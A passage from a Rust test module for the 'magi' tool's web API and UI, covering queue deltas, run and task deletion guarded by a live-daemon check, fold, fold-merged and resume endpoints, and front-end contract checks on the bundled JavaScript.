18698 let same = diff_stamps(&after, &after, 43);
18699 assert!(same.changed.is_empty() && same.removed.is_empty());
18700 assert_ne!(stamps_revision(&before), stamps_revision(&after));
18701 let nanos: Stamps = [("b".into(), (2, 20))].into();
18702 let same_ms: Stamps = [("b".into(), (3, 20))].into();
18703 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
18704 assert_eq!(stamps_revision(&Stamps::new()), 0);
18705 }
18706
18707 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
18708 std::fs::create_dir_all(home.join("runs")).unwrap();
18709 Arc::new(Ui::new(
18710 Queue::at(home.join("queue")),
18711 Questions::at(home.join("questions")),
18712 Talks::at(home.join("talks")),
18713 home.join("runs"),
18714 home.to_owned(),
18715 PathBuf::from("/repo/magi"),
18716 ))
18717 }
18718
18719 #[tokio::test]
18720 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
18721 let home = TempDir::new().unwrap();
18722 let ui = delta_test_ui(home.path());
18723 let mut task = Task::new(
18724 "stream task".into(),
18725 "text".into(),
18726 PathBuf::from("/repo"),
18727 Source::Human,
18728 );
18729 ui.queue.put(&mut task).unwrap();
18730 let response = events(State(ui.clone())).await.into_response();
18731 let mut stream = response.into_body().into_data_stream();
18732 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
18733 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
18734 .await
18735 .unwrap()
18736 .unwrap()
18737 .unwrap();
18738 let text = String::from_utf8(chunk.to_vec()).unwrap();
18739 let data = text
18740 .lines()
18741 .find_map(|line| {
18742 line.strip_prefix("data: ")
18743 .or_else(|| line.strip_prefix("data:"))
18744 })
18745 .unwrap();
18746 serde_json::from_str(data).unwrap()
18747 }
18748 let initial = change(&mut stream).await;
18749 assert!(initial.get("queue_delta").is_none());
18750 task.instruction.push_str(" changed");
18751 ui.queue.put(&mut task).unwrap();
18752 let updated = change(&mut stream).await;
18753 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
18754 assert_eq!(
18755 updated["queue_delta"]["changed"],
18756 serde_json::json!([task.id])
18757 );
18758 assert_eq!(
18759 updated["queue_rev"].as_u64(),
18760 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
18761 );
18762 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
18763 let removed = change(&mut stream).await;
18764 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
18765 assert_eq!(
18766 removed["queue_delta"]["removed"],
18767 serde_json::json!([task.id])
18768 );
18769 }
18770
18771 #[tokio::test]
18772 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
18773 let home = TempDir::new().unwrap();
18774 let ui = delta_test_ui(home.path());
18775 let queue = ui.queue.clone();
18776 let query = |ids: Option<&str>| {
18777 Query(ListQuery {
18778 limit: Some(2),
18779 ids: ids.map(str::to_owned),
18780 })
18781 };
18782 let mut root = Task::new(
18783 "root".into(),
18784 "instruction".into(),
18785 PathBuf::from("/repo"),
18786 Source::Human,
18787 );
18788 queue.put(&mut root).unwrap();
18789 let mut blocked = Task::new(
18790 "blocked".into(),
18791 "instruction".into(),
18792 PathBuf::from("/repo"),
18793 Source::Human,
18794 );
18795 blocked.block(vec![root.id.clone()], None);
18796 queue.put(&mut blocked).unwrap();
18797 let whole =
18798 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
18799 .unwrap();
18800 let subset = serde_json::to_value(
18801 queue_list(State(ui.clone()), query(Some(&root.id)))
18802 .await
18803 .unwrap()
18804 .0,
18805 )
18806 .unwrap();
18807 assert_eq!(whole, subset, "requested root plus its blocked dependent");
18808 let blockers = serde_json::to_value(
18809 queue_list(State(ui.clone()), query(Some("")))
18810 .await
18811 .unwrap()
18812 .0,
18813 )
18814 .unwrap();
18815 assert_eq!(blockers.as_array().unwrap().len(), 1);
18816 assert_eq!(blockers[0]["id"], blocked.id);
18817 assert_eq!(
18818 blockers[0]["waits_on"],
18819 whole
18820 .as_array()
18821 .unwrap()
18822 .iter()
18823 .find(|row| row["id"] == blocked.id)
18824 .unwrap()["waits_on"]
18825 );
18826
18827 for id in [
18828 "20260902-140501-aaaa",
18829 "20260902-140502-bbbb",
18830 "20260902-140503-cccc",
18831 ] {
18832 write_run(&ui.runs, id, RunStatus::Merged);
18833 }
18834 let old = serde_json::to_value(
18835 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
18836 .await
18837 .unwrap()
18838 .0,
18839 )
18840 .unwrap();
18841 assert!(
18842 old.as_array().unwrap().is_empty(),
18843 "older updates must not enter the window"
18844 );
18845 let newest = serde_json::to_value(
18846 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
18847 .await
18848 .unwrap()
18849 .0,
18850 )
18851 .unwrap();
18852 assert_eq!(newest.as_array().unwrap().len(), 1);
18853 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
18854
18855 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
18856 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
18857 let talks = serde_json::to_value(
18858 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
18859 .await
18860 .unwrap()
18861 .0,
18862 )
18863 .unwrap();
18864 assert_eq!(talks.as_array().unwrap().len(), 1);
18865 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
18866 assert_eq!(
18867 serde_json::to_value(
18868 talks_list(State(ui.clone()), query(Some("")))
18869 .await
18870 .unwrap()
18871 .0
18872 )
18873 .unwrap(),
18874 serde_json::json!([])
18875 );
18876 }
18877
18878 #[tokio::test]
18879 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
18880 async fn delta_payload_benchmark() {
18881 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
18882 let ui = delta_test_ui(&home);
18883 let query = |ids: Option<String>| {
18884 Query(ListQuery {
18885 limit: Some(50),
18886 ids,
18887 })
18888 };
18889 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
18890 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
18891 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
18892 let queue_id = queue
18893 .iter()
18894 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
18895 .unwrap_or(&queue[0])
18896 .task
18897 .id
18898 .clone();
18899 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
18900 .await
18901 .unwrap()
18902 .0;
18903 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
18904 .await
18905 .unwrap()
18906 .0;
18907 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
18908 .await
18909 .unwrap()
18910 .0;
18911 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
18912 eprintln!(
18913 "DELTA_PAYLOAD {}",
18914 serde_json::json!({
18915 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
18916 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
18917 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
18918 "counts": [queue.len(), runs.len(), talks.len()],
18919 "blocked": queue_delta.len() - 1,
18920 })
18921 );
18922 }
18923
18924 #[test]
18925 fn runs_revision_moves_when_deleting_an_older_run() {
18926 let temp = TempDir::new().expect("tempdir");
18927 let runs = temp.path().join("runs");
18928 std::fs::create_dir_all(&runs).expect("create runs dir");
18929
18930 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
18931
18932 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
18933 std::thread::sleep(Duration::from_millis(10));
18934 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
18935
18936 let rev_before = runs_revision(&runs);
18937 assert!(rev_before > 0);
18938
18939 let old_dir = runs.join("20260901-100000-old1");
18940 std::fs::remove_dir_all(&old_dir).expect("remove old run");
18941
18942 let rev_after = runs_revision(&runs);
18943 assert_ne!(
18944 rev_before, rev_after,
18945 "deleting an older run must change the revision so other clients see the deletion"
18946 );
18947 }
18948
18949 fn write_state(runs: &FsPath, state: &RunState) {
18954 let dir = runs.join(&state.id);
18955 std::fs::create_dir_all(&dir).expect("run dir");
18956 std::fs::write(
18957 dir.join("run.json"),
18958 serde_json::to_string_pretty(state).expect("serialize run"),
18959 )
18960 .expect("write run.json");
18961 }
18962
18963 #[test]
18968 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
18969 let temp = TempDir::new().expect("tempdir");
18970 let runs = temp.path().join("runs");
18971 std::fs::create_dir_all(&runs).expect("create runs dir");
18972 let mut state = RunState::new(
18973 PathBuf::from("/repo/magi"),
18974 "main".to_owned(),
18975 "0123456789abcdef".to_owned(),
18976 "task".to_owned(),
18977 Config::default(),
18978 );
18979 state.id = "20260902-100000-c0de".to_owned();
18980 write_state(&runs, &state);
18981
18982 let rev_idle = runs_revision(&runs);
18983 std::thread::sleep(Duration::from_millis(10));
18984 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
18985 write_state(&runs, &state);
18986 let rev_started = runs_revision(&runs);
18987 assert_ne!(
18988 rev_idle, rev_started,
18989 "a seat starting must move the revision"
18990 );
18991
18992 std::thread::sleep(Duration::from_millis(10));
18993 state.seat_finished("judge-1");
18994 write_state(&runs, &state);
18995 let rev_finished = runs_revision(&runs);
18996 assert_ne!(
18997 rev_started, rev_finished,
18998 "and clearing it again must move the revision a second time"
18999 );
19000 }
19001
19002 #[tokio::test]
19003 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
19004 let fx = Fixture::start().await;
19009 let q = fx.queue();
19010
19011 let mut t = Task::new(
19012 "Task".to_owned(),
19013 "Instruction".to_owned(),
19014 PathBuf::from("/repo"),
19015 Source::Human,
19016 );
19017 t.block(
19018 vec!["20260101-000000-dead".to_owned()],
19019 Some("waiting on Task 1".to_owned()),
19020 );
19021 t.answers.push(crate::queue::AnsweredQuestion {
19022 question: "Which backend?".to_owned(),
19023 answer: "SQLite".to_owned(),
19024 });
19025 q.put(&mut t).expect("put t");
19026
19027 let res = fx.get("/api/queue").await;
19028 assert_eq!(res.status, 200);
19029 let list = res.json();
19030 let view = list
19031 .as_array()
19032 .expect("array")
19033 .iter()
19034 .find(|v| v["id"] == t.id)
19035 .expect("task in list");
19036 assert_eq!(view["status_str"], "blocked");
19037 assert_eq!(
19038 view["blocked_by"],
19039 serde_json::json!(["20260101-000000-dead"])
19040 );
19041 assert_eq!(view["block_reason"], "waiting on Task 1");
19042 assert_eq!(view["answers"][0]["question"], "Which backend?");
19043 assert_eq!(view["answers"][0]["answer"], "SQLite");
19044
19045 let res = fx
19049 .post(&format!("/api/queue/{}/hold", t.short()), None)
19050 .await;
19051 assert_eq!(res.status, 200);
19052 let held = res.json();
19053 assert_eq!(held["status_str"], "held");
19054 assert_eq!(held["blocked_by"], serde_json::json!([]));
19055 assert!(held["block_reason"].is_null());
19056 assert_eq!(held["answers"][0]["answer"], "SQLite");
19057 }
19058
19059 #[tokio::test]
19060 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
19061 let fx = Fixture::start().await;
19062 let q = fx.queue();
19063 let mk = |title: &str| {
19064 Task::new(
19065 title.to_owned(),
19066 "Instruction".to_owned(),
19067 PathBuf::from("/repo"),
19068 Source::Human,
19069 )
19070 };
19071 let mut root = mk("root");
19072 root.hold_manual(Some("waiting".to_owned()));
19073 q.put(&mut root).unwrap();
19074 let mut mid = mk("mid");
19075 mid.block(vec![root.id.clone()], None);
19076 q.put(&mut mid).unwrap();
19077 let mut leaf = mk("leaf");
19078 leaf.block(vec![mid.id.clone()], None);
19079 q.put(&mut leaf).unwrap();
19080
19081 let list = fx.get("/api/queue").await.json();
19082 let find = |id: &str| {
19083 list.as_array()
19084 .unwrap()
19085 .iter()
19086 .find(|v| v["id"] == id)
19087 .unwrap()
19088 .clone()
19089 };
19090 let leaf_view = find(&leaf.id);
19091 assert_eq!(
19092 leaf_view["waits_on"],
19093 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
19094 );
19095 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
19096 assert_eq!(
19097 find(&mid.id)["waits_on"],
19098 serde_json::json!([format!("{} (held)", root.short())])
19099 );
19100 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
19101 }
19102
19103 #[tokio::test]
19104 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
19105 let fx = Fixture::start().await;
19106 let q = fx.queue();
19107
19108 let mut t1 = Task::new(
19110 "Task 1".to_owned(),
19111 "Instruction 1".to_owned(),
19112 PathBuf::from("/repo"),
19113 Source::Human,
19114 );
19115 let run_id = "20260901-000000-r111";
19116 t1.runs.push(run_id.to_owned());
19117 write_run(&fx.runs(), run_id, RunStatus::Merged);
19118 q.put(&mut t1).expect("put t1");
19119
19120 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
19122 assert_eq!(res.status, 204);
19123 assert!(res.body.is_empty(), "204 No Content has no body");
19124 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
19125 assert!(
19126 fx.runs().join(run_id).exists(),
19127 "run directory must not be deleted when its task is deleted"
19128 );
19129
19130 let mut t2 = Task::new(
19132 "Task 2".to_owned(),
19133 "Instruction 2".to_owned(),
19134 PathBuf::from("/repo"),
19135 Source::Human,
19136 );
19137 t2.status = TaskStatus::Running;
19138 q.put(&mut t2).expect("put t2");
19139 let mut beat = crate::daemon::Status::new();
19140 beat.current = vec![crate::daemon::Current {
19141 task: t2.id.clone(),
19142 run: "20260901-000000-r222".to_owned(),
19143 }];
19144 beat.updated_at = jiff::Timestamp::now();
19145 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19146 .expect("publish a heartbeat");
19147 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
19148 assert_eq!(res.status, 409);
19149 assert!(
19150 res.json()["error"]
19151 .as_str()
19152 .unwrap()
19153 .contains("live daemon")
19154 );
19155 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
19156
19157 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
19163 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19164 .expect("leave a stale heartbeat");
19165 let mut t3 = Task::new(
19166 "Task 3".to_owned(),
19167 "Instruction 3".to_owned(),
19168 PathBuf::from("/repo"),
19169 Source::Human,
19170 );
19171 t3.status = TaskStatus::Running;
19172 q.put(&mut t3).expect("put t3");
19173 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
19174 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
19175 assert_eq!(res.status, 204);
19176 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
19177 assert!(
19178 q.claim(&t3.id).is_ok(),
19179 "the stale lock went with it, so the id is claimable again"
19180 );
19181
19182 let res = fx.delete("/api/queue/nonexistent").await;
19184 assert_eq!(res.status, 404);
19185 }
19186
19187 #[tokio::test]
19188 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
19189 let fx = Fixture::start().await;
19190 let runs = fx.runs();
19191
19192 let run_id = "20260901-000000-fold";
19194 let mut state = RunState::new(
19195 PathBuf::from("/repo"),
19196 "main".to_owned(),
19197 "abc".to_owned(),
19198 "instruction".to_owned(),
19199 Config::default(),
19200 );
19201 state.id = run_id.to_owned();
19202 state.status = RunStatus::Merged;
19203 state.candidates.push(crate::run::Candidate {
19204 index: 0,
19205 label: 'A',
19206 agent: "a".to_owned(),
19207 branch: "b".to_owned(),
19208 worktree: PathBuf::from("/w"),
19209 summary: String::new(),
19210 stat: String::new(),
19211 files: 1,
19212 commits: 1,
19213 empty: false,
19214 failed: None,
19215 verified_noop: None,
19216 duration_ms: 0,
19217 folded: true,
19218 });
19219 let dir = runs.join(run_id);
19220 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
19221 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
19222 .expect("write artifact");
19223 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
19224 .expect("write run.json");
19225
19226 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
19228 assert_eq!(res.status, 204);
19229 assert!(res.body.is_empty(), "204 has no body");
19230 assert!(!dir.exists(), "run directory and artifacts must be deleted");
19231
19232 let run_running = "20260901-000000-rung";
19237 write_run(&runs, run_running, RunStatus::Prep);
19238 let mut beat = crate::daemon::Status::new();
19239 beat.current = vec![crate::daemon::Current {
19240 task: "20260901-000000-task".to_owned(),
19241 run: run_running.to_owned(),
19242 }];
19243 beat.updated_at = jiff::Timestamp::now();
19244 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19245 .expect("publish a heartbeat");
19246 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
19247 assert_eq!(res.status, 409);
19248 assert!(
19249 res.json()["error"]
19250 .as_str()
19251 .unwrap()
19252 .contains("live daemon"),
19253 "the refusal must say who is holding it"
19254 );
19255 assert!(
19256 runs.join(run_running).exists(),
19257 "a run in flight keeps its directory"
19258 );
19259
19260 let run_unfolded = "20260901-000000-unfd";
19262 let mut state2 = RunState::new(
19263 PathBuf::from("/repo"),
19264 "main".to_owned(),
19265 "abc".to_owned(),
19266 "instruction".to_owned(),
19267 Config::default(),
19268 );
19269 state2.id = run_unfolded.to_owned();
19270 state2.status = RunStatus::Ready;
19271 state2.candidates.push(crate::run::Candidate {
19272 index: 0,
19273 label: 'A',
19274 agent: "a".to_owned(),
19275 branch: "b".to_owned(),
19276 worktree: PathBuf::from("/w"),
19277 summary: String::new(),
19278 stat: String::new(),
19279 files: 1,
19280 commits: 1,
19281 empty: false,
19282 failed: None,
19283 verified_noop: None,
19284 duration_ms: 0,
19285 folded: false,
19286 });
19287 let dir2 = runs.join(run_unfolded);
19288 std::fs::create_dir_all(&dir2).expect("create dir2");
19289 std::fs::write(
19290 dir2.join("run.json"),
19291 serde_json::to_string(&state2).unwrap(),
19292 )
19293 .expect("write run.json");
19294
19295 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
19296 assert_eq!(res.status, 409);
19297 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
19298 assert!(dir2.exists(), "unfolded run directory is kept");
19299
19300 let res = fx.delete("/api/runs/nonexistent").await;
19302 assert_eq!(res.status, 404);
19303 }
19304
19305 #[test]
19314 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
19315 let start = APP_JS
19316 .find("function renderStats() {")
19317 .expect("renderStats");
19318 let end = start
19319 + APP_JS[start..]
19320 .find("function statsTile(")
19321 .expect("the next top-level function");
19322 let body = &APP_JS[start..end];
19323
19324 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
19325 let gate_end = gate_start
19326 + body[gate_start..]
19327 .find("}\n renderStatsQueue")
19328 .expect("the gate's own closing brace, right before the unconditional call");
19329 let gated = &body[gate_start..gate_end];
19330
19331 assert_eq!(
19332 body.matches("renderStatsQueue(").count(),
19333 1,
19334 "renderStats must call renderStatsQueue exactly once: {body}"
19335 );
19336 assert!(
19337 !gated.contains("renderStatsQueue"),
19338 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
19339 run-derived panels on an empty run history - the queue panel has to render \
19340 regardless: {gated}"
19341 );
19342 }
19343
19344 #[test]
19345 fn web_ui_delete_contract_in_front_end() {
19346 assert!(APP_JS.contains("deleteRun:"));
19348 assert!(APP_JS.contains("deleteTask:"));
19349
19350 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
19352 ..APP_JS.find("function renderRuns").unwrap()];
19353 assert!(!run_cards_slice.to_lowercase().contains("delete"));
19354
19355 assert!(APP_JS.contains("renderRunDelete"));
19357 assert!(APP_JS.contains("runDeleteReason"));
19358 assert!(APP_JS.contains("magi fold"));
19359 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
19360
19361 assert!(APP_JS.contains("cancel.focus"));
19363 assert!(APP_JS.contains("armedRunDelete"));
19364 assert!(APP_JS.contains("renderTaskDeleteBox"));
19365 assert!(APP_JS.contains("armed${cap(key)}"));
19366
19367 assert!(APP_JS.contains("disabled: status === \"running\""));
19369 }
19370
19371 #[test]
19391 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
19392 let build = APP_JS
19393 .find("function createRunCard")
19394 .expect("createRunCard exists");
19395 let update = APP_JS
19396 .find("function updateRunCard")
19397 .expect("updateRunCard exists");
19398 let end = APP_JS
19399 .find("function renderRuns")
19400 .expect("renderRuns exists");
19401
19402 let builder = &APP_JS[build..update];
19404 let open = builder.find("refs = {").expect("createRunCard sets refs");
19405 let literal = &builder[open + "refs = {".len()..];
19406 let close = literal.find('}').expect("the refs literal is closed");
19407 let published: HashSet<&str> = literal[..close]
19408 .split(',')
19409 .filter_map(|entry| entry.split(':').next())
19411 .map(str::trim)
19412 .filter(|name| !name.is_empty())
19413 .collect();
19414 assert!(
19415 published.len() > 5,
19416 "the refs literal did not parse into names: {published:?}"
19417 );
19418
19419 let mut used: Vec<&str> = Vec::new();
19422 let updaters = &APP_JS[update..end];
19423 for (at, _) in updaters.match_indices("r.") {
19424 let before = updaters[..at].chars().next_back();
19427 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
19428 continue;
19429 }
19430 let rest = &updaters[at + 2..];
19431 let len = rest
19432 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
19433 .unwrap_or(rest.len());
19434 if len > 0 {
19435 used.push(&rest[..len]);
19436 }
19437 }
19438 assert!(
19439 used.len() > 5,
19440 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
19441 );
19442
19443 let missing: Vec<&str> = used
19444 .iter()
19445 .copied()
19446 .filter(|name| !published.contains(name))
19447 .collect();
19448 assert!(
19449 missing.is_empty(),
19450 "a run card's updater reaches for {missing:?}, which `createRunCard` \
19451 never put in `refs` - every card will throw and the list will \
19452 render empty under a count line that says otherwise. Published: \
19453 {published:?}"
19454 );
19455 }
19456
19457 #[tokio::test]
19458 async fn folding_from_the_phone_reports_what_it_removed() {
19459 let fx = Fixture::start().await;
19460 let runs = fx.runs();
19461
19462 let id = "20260901-000000-fold";
19466 write_run(&runs, id, RunStatus::Stalled);
19467 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
19468 assert_eq!(res.status, 200);
19469 assert_eq!(res.json()["removed_count"], 0);
19470 assert_eq!(res.json()["run"], id);
19471 assert!(
19472 runs.join(id).exists(),
19473 "a fold keeps the run's record; only the worktrees go"
19474 );
19475 }
19476
19477 #[tokio::test]
19478 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
19479 let fx = Fixture::start().await;
19480 let runs = fx.runs();
19481 let wt = fx.home.path().join("wt").join("magi").join("dead");
19482 let id = "20260901-000000-dead";
19483 std::fs::create_dir_all(runs.join(id)).expect("run dir");
19484 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
19485 std::fs::create_dir_all(&wt).expect("worktree dir");
19486
19487 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
19488 assert_eq!(res.status, 200, "{}", res.body);
19489 assert!(
19490 res.json()["removed_count"].as_u64().unwrap() > 0,
19491 "the worktree this build could not read a state for still went"
19492 );
19493 assert!(
19494 !runs.join(id).exists(),
19495 "an unreadable run has no candidate list to fold selectively, so \
19496 the whole record goes - same as `magi fold` on the CLI"
19497 );
19498 }
19499
19500 #[tokio::test]
19501 async fn deleting_an_unreadable_run_removes_it_wholesale() {
19502 let fx = Fixture::start().await;
19503 let runs = fx.runs();
19504 let wt = fx.home.path().join("wt").join("magi").join("gone");
19505 let id = "20260901-000000-gone";
19506 std::fs::create_dir_all(runs.join(id)).expect("run dir");
19507 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
19508 std::fs::create_dir_all(&wt).expect("worktree dir");
19509
19510 let res = fx.delete(&format!("/api/runs/{id}")).await;
19511 assert_eq!(res.status, 204, "{}", res.body);
19512 assert!(!runs.join(id).exists(), "the broken record is gone");
19513 assert!(!wt.exists(), "its worktree is gone too");
19514 }
19515
19516 #[tokio::test]
19517 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
19518 let fx = Fixture::start().await;
19519 let runs = fx.runs();
19520 let id = "20260901-000000-live";
19521 write_run(&runs, id, RunStatus::Implementing);
19522
19523 let mut beat = crate::daemon::Status::new();
19524 beat.current = vec![crate::daemon::Current {
19525 task: "20260901-000000-task".to_owned(),
19526 run: id.to_owned(),
19527 }];
19528 beat.updated_at = jiff::Timestamp::now();
19529 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19530 .expect("publish a heartbeat");
19531
19532 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
19533 assert_eq!(res.status, 409);
19534 assert!(
19535 res.json()["error"]
19536 .as_str()
19537 .unwrap()
19538 .contains("live daemon"),
19539 "folding under a running agent would pull its worktree away"
19540 );
19541 }
19542
19543 #[tokio::test]
19544 async fn fold_merged_requires_a_pr_url() {
19545 let fx = Fixture::start().await;
19546 let runs = fx.runs();
19547 let id = "20260901-000000-nourl";
19548 write_run(&runs, id, RunStatus::Blocked);
19549
19550 let res = fx
19551 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
19552 .await;
19553 assert_eq!(res.status, 400, "{}", res.body);
19554
19555 let blank = fx
19556 .post(
19557 &format!("/api/runs/{id}/fold-merged"),
19558 Some(r#"{"pr_url":" "}"#),
19559 )
19560 .await;
19561 assert_eq!(blank.status, 400, "{}", blank.body);
19562 }
19563
19564 #[tokio::test]
19565 async fn fold_merged_is_404_for_an_unknown_run() {
19566 let fx = Fixture::start().await;
19567 let res = fx
19568 .post(
19569 "/api/runs/nosuchrun/fold-merged",
19570 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19571 )
19572 .await;
19573 assert_eq!(res.status, 404, "{}", res.body);
19574 }
19575
19576 #[tokio::test]
19577 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
19578 let fx = Fixture::start().await;
19579 let runs = fx.runs();
19580 let id = "20260901-000000-livemerge";
19581 write_run(&runs, id, RunStatus::Blocked);
19582
19583 let mut beat = crate::daemon::Status::new();
19584 beat.current = vec![crate::daemon::Current {
19585 task: "20260901-000000-task".to_owned(),
19586 run: id.to_owned(),
19587 }];
19588 beat.updated_at = jiff::Timestamp::now();
19589 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19590 .expect("publish a heartbeat");
19591
19592 let res = fx
19593 .post(
19594 &format!("/api/runs/{id}/fold-merged"),
19595 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19596 )
19597 .await;
19598 assert_eq!(res.status, 409, "{}", res.body);
19599 assert!(
19600 res.json()["error"]
19601 .as_str()
19602 .unwrap()
19603 .contains("live daemon"),
19604 "correcting a run's merge underneath a running agent would race \
19605 whatever it is doing to the same `status`/`merge` fields"
19606 );
19607 }
19608
19609 #[tokio::test]
19614 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
19615 let fx = Fixture::start().await;
19616 let runs = fx.runs();
19617 let id = "20260901-000000-unconfirmed";
19618 write_run(&runs, id, RunStatus::Blocked);
19619
19620 let res = fx
19621 .post(
19622 &format!("/api/runs/{id}/fold-merged"),
19623 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19624 )
19625 .await;
19626 assert_eq!(res.status, 400, "{}", res.body);
19627 assert_eq!(
19628 read_run(&runs, id).unwrap().status,
19629 RunStatus::Blocked,
19630 "a pull request that could not be confirmed merged must leave \
19631 the run exactly where it was"
19632 );
19633 }
19634
19635 #[tokio::test]
19636 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
19637 let fx = Fixture::start().await;
19638 let runs = fx.runs();
19639
19640 for (status, word) in [
19646 (RunStatus::Merged, "merged"),
19647 (RunStatus::Ready, "ready"),
19648 (RunStatus::Failed, "failed"),
19649 ] {
19650 let id = format!("20260901-000000-{}", &word[..4]);
19651 write_run(&runs, &id, status);
19652 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
19653 assert_eq!(res.status, 409, "{word} must not be resumable");
19654 let err = res.json()["error"].as_str().unwrap().to_owned();
19655 assert!(err.contains(word), "the refusal names the status: {err}");
19656 }
19657
19658 let mid = "20260901-000000-midf";
19663 write_run(&runs, mid, RunStatus::Reviewing);
19664 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
19665 assert_eq!(res.status, 202, "an interrupted run is resumable");
19666 }
19667
19668 #[tokio::test]
19669 async fn resume_is_refused_while_the_loop_is_running() {
19670 let fx = Fixture::start().await;
19671 let runs = fx.runs();
19672 let stalled = "20260901-000000-stal";
19673 write_run(&runs, stalled, RunStatus::Stalled);
19674
19675 let mut beat = crate::daemon::Status::new();
19679 beat.current = vec![crate::daemon::Current {
19680 task: "20260901-000000-task".to_owned(),
19681 run: "20260901-000000-othr".to_owned(),
19682 }];
19683 beat.updated_at = jiff::Timestamp::now();
19684 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19685 .expect("publish a heartbeat");
19686
19687 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
19688 assert_eq!(res.status, 409);
19689 let err = res.json()["error"].as_str().unwrap().to_owned();
19690 assert!(err.contains("othr"), "it names what the loop is on: {err}");
19691 assert!(err.contains("stop it first"), "{err}");
19692 }
19693
19694 #[test]
19695 fn a_run_cannot_be_resumed_twice_at_once() {
19696 let home = TempDir::new().expect("temp home");
